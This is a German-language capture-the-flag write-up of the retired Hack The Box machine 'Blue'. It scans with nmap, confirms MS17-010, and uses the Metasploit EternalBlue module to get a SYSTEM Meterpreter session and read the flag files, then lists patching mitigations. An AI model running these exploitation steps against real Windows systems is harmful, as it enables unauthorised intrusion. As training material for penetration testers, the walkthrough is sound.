Bleib ruhig und hacke die Box - Blau

Hack The Box (HTB) ist eine Online-Plattform, mit der Sie Ihre Penetrationstestfähigkeiten testen können.

Es enthält mehrere Herausforderungen, die ständig aktualisiert werden. Einige von ihnen simulieren reale Szenarien und andere tendieren eher zu einem CTF-Herausforderungsstil.

Hinweis : Es sind nur Zuschreibungen von HTB-Maschinen im Ruhestand zulässig.

Blau ist eine der einfachsten Maschinen auf Hack The Box. Es zeigt jedoch die Auswirkungen des EternalBlue-Exploits, mit dem Unternehmen durch groß angelegte Ransomware- und Crypto-Mining-Angriffe kompromittiert wurden.

Wir werden die folgenden Werkzeuge verwenden, um die Box auf einer Kali Linux-Box zu verpfänden:

  • nmap
  • searchsploit
  • Metasploit
  • meterpreter

Lass uns anfangen.

Zuerst füge ich Blau zur Datei / etc / hosts hinzu.

nano /etc/hosts

mit

10.10.10.40 blue.htb

Schritt 1 - Aufklärung

Der erste Schritt vor dem Ausnutzen einer Maschine besteht darin, ein wenig zu scannen und aufzuklären.

Dies ist einer der wichtigsten Teile, da er bestimmt, was Sie anschließend ausnutzen können. Es ist immer besser, mehr Zeit in dieser Phase zu verbringen, um so viele Informationen wie möglich zu erhalten.

Port-Scan

Ich werde Nmap (Network Mapper) verwenden. Nmap ist ein kostenloses Open Source-Dienstprogramm für die Netzwerkerkennung und Sicherheitsüberwachung.

Es verwendet rohe IP-Pakete, um zu bestimmen, welche Hosts im Netzwerk verfügbar sind, welche Dienste diese Hosts anbieten, welche Betriebssysteme sie ausführen, welche Art von Paketfiltern / Firewalls verwendet werden und Dutzende anderer Merkmale.

Es gibt viele Befehle, die Sie mit diesem Tool zum Scannen des Netzwerks verwenden können. Wenn Sie mehr darüber erfahren möchten, können Sie sich die Dokumentation hier ansehen.

Ich verwende den folgenden Befehl, um einen intensiven Scan durchzuführen:

nmap -A -v blue.htb

-A: Aktiviert die Betriebssystemerkennung, Versionserkennung, das Scannen von Skripten und die Traceroute

-v: Erhöht die Ausführlichkeitsstufe

blue .htb: Hostname für die Blue Box

Wenn Sie die Ergebnisse etwas zu überwältigend finden, können Sie Folgendes versuchen:

nmap blue.htb

Wir können sehen, dass es einige offene Ports gibt, darunter:

Port 445, Microsoft-DS-SMB-Dateifreigabe (Directory Services)

Aus dem nmap-Scan haben wir einige Informationen zum Computernamen (haris-PC) und zur SMB-Version (2.02).

Der Server Message Block (SMB) ist ein Netzwerkprotokoll, mit dem Benutzer mit Remotecomputern und Servern kommunizieren können, um ihre Ressourcen zu verwenden oder Dateien freizugeben, zu öffnen und zu bearbeiten.

Aufgrund des Namens dieser Box und der Tatsache, dass es sich um einen Windows-Computer mit geöffnetem Port 445 handelt, können wir davon ausgehen, dass der Computer für EternalBlue anfällig ist. Ich verwende ein nmap-Skript, um diese Informationen wie folgt zu überprüfen:

nmap --script vuln -p 445 blue.htb

Wir können sehen, dass die Box für eine Sicherheitsanfälligkeit bezüglich Remotecodeausführung in Microsoft SMBv1-Servern anfällig ist (ms17-010).

Schritt 2 - MS17-010 verstehen

Was ist ms17-010?

EternalBlue ist ein Cyberangriffs- Exploit, der von der US National Security Agency (NSA) entwickelt wurde. Es wurde am 14. April 2017 von der Hacker-Gruppe Shadow Brokers veröffentlicht, einen Monat nachdem Microsoft Patches für die Sicherheitsanfälligkeit Wikipedia veröffentlicht hatte

Hier können Sie mehr lesen. Diese Sicherheitsanfälligkeit wurde behoben und ist im Security Bulletin von Microsoft als MS17-010 aufgeführt.

Mit EternalBlue können Hacker beliebigen Code aus der Ferne ausführen, um Zugriff auf ein Netzwerk zu erhalten. Es nutzt eine Sicherheitsanfälligkeit im Windows OS SMB-Protokoll aus. Der Exploit kann das gesamte Netzwerk und die damit verbundenen Geräte gefährden.

Malware, die EternalBlue verwendet, kann sich über Netzwerke verbreiten. 2017 nutzte WannaCry - eine Krypto-Ransomware - den EternalBlue-Exploit, der sich über das Netzwerk ausbreitete und alle angeschlossenen Geräte infizierte.

Schritt 3 - EternalBlue ausnutzen

Ich benutze Searchsploit , um zu überprüfen, ob ein Exploit bekannt ist. Searchsploit ist ein Befehlszeilensuchwerkzeug für Exploit Database.

Ich benutze den folgenden Befehl:

searchsploit eternalblue

Ich kann weitere Details zu einem Exploit erhalten mit:

searchsploit -x 41738.py

Sie können auch die Exploit-Datenbank überprüfen, um den Exploit zu finden.

Es ist ein Metasploit-Modul verfügbar.

Wir werden Metasploit verwenden , ein Penetrationstest-Framework, das das Hacken vereinfacht. Es ist ein wesentliches Werkzeug für viele Angreifer und Verteidiger.

Ich starte das Metasploit Framework auf Kali und suche nach dem Befehl, den ich für den Exploit verwenden soll.

Vergessen Sie nicht, Metasploit zu aktualisieren, wenn Sie es mit diesem Befehl starten:

msfupdate

Sie können auch mithilfe eines Hilfsmittels überprüfen, ob das Ziel für EternalBlue auf Metasploit anfällig ist. Beginnen Sie mit diesem Befehl:

search eternalblue

dann in diesem Fall

use 1

auswählen

auxiliary/scanner/smb/smb_ms17_010

Sie können die Optionen mit überprüfen

show options

und setze RHOSTS mit

set RHOSTS blue.htb

Führen Sie dann das Hilfsmittel mit aus

run

Sie können sehen, dass der Host wahrscheinlich für MS17-010 anfällig ist!

Lassen Sie uns nun den Exploit mit überprüfen

use 2

oder der Befehl

exploit/windows/smb/ms17_010_eternalblue

Wir müssen die Optionen für RHOSTS einrichten

und LHOST - meins war 10.10.14.24. Sie müssen es mit Ihrem eigenen LHOST einrichten. Sie können Ihre hier überprüfen.

Bevor Sie den Exploit ausführen, können Sie hier überprüfen, ob der Computer anfällig ist. Dadurch wird das zuvor mit dem Befehl verwendete Hilfsmittel ausgeführt

check

Ich führe dann den Exploit mit aus

run

Der Exploit musste mehrmals ausgeführt werden, bevor ich eine Meterpreter- Sitzung bekam.

Hier ist die Definition von Meterpreter von Offensive Security:

Meterpreter ist eine erweiterte, dynamisch erweiterbare Nutzlast, die speicherinterne DLL-Injection-Stager verwendet und zur Laufzeit über das Netzwerk erweitert wird. Es kommuniziert über den Stager-Socket und bietet eine umfassende clientseitige Ruby-API. Es bietet Befehlsverlauf, Tab-Vervollständigung, Kanäle und mehr.

Weitere Informationen zu Meterpreter finden Sie hier.

Beginnen wir mit dem Sammeln von Informationen.

getuid gibt die tatsächliche Benutzer-ID des aufrufenden Prozesses zurück.

NT Authority \ SYSTEM oder Konto Localsystem ist ein integrierte Windows - Konto. Es ist das leistungsstärkste Konto auf einer lokalen Windows-Instanz. Wir haben Administratorzugriff auf diesem Computer.

Schritt 4 - Suchen Sie nach dem Flag user.txt

Ich navigiere von Dokumenten und Einstellungen zum Ordner haris .

Ich kann alle Dateien / Ordner mit dem folgenden Befehl auflisten:

ls -la

Ich gehe dann mit auf den Desktop

cd Desktop

Und ich finde die Benutzerflagge! Ich kann den Inhalt der Datei mit überprüfen

cat user.txt

Schritt 5 - Suchen Sie nach dem root.txt-Flag

Lassen Sie uns jetzt die Root-Flagge finden. Ich navigiere zu Benutzer und checke in den Ordner Administrator / Desktop ein . Ich finde die Flagge!

Ich benutze den folgenden Befehl, um den Inhalt der Datei zu sehen:

cat root.txt

Glückwunsch! Sie haben beide Flaggen gefunden.

Abhilfemaßnahmen

  • Patchen Sie Ihre Geräte mit dem Sicherheitsupdate für Microsoft Windows SMB v1. Sie können im Microsoft Security Bulletin überprüfen, welche Betriebssysteme betroffen sind
  • Deaktivieren Sie SMB v1 und verwenden Sie SMB v2 oder v3
  • Wenden Sie das Prinzip der geringsten Berechtigung auf alle Ihre Systeme und Dienste an

Bitte zögern Sie nicht zu kommentieren, Fragen zu stellen oder mit Ihren Freunden zu teilen :)

Weitere Artikel aus der Serie Keep Calm and Hack the Box finden Sie hier.

Sie können mir auf Twitter oder LinkedIn folgen.

Und vergessen Sie nicht, # GetSecure , # BeSecure & # StaySecure !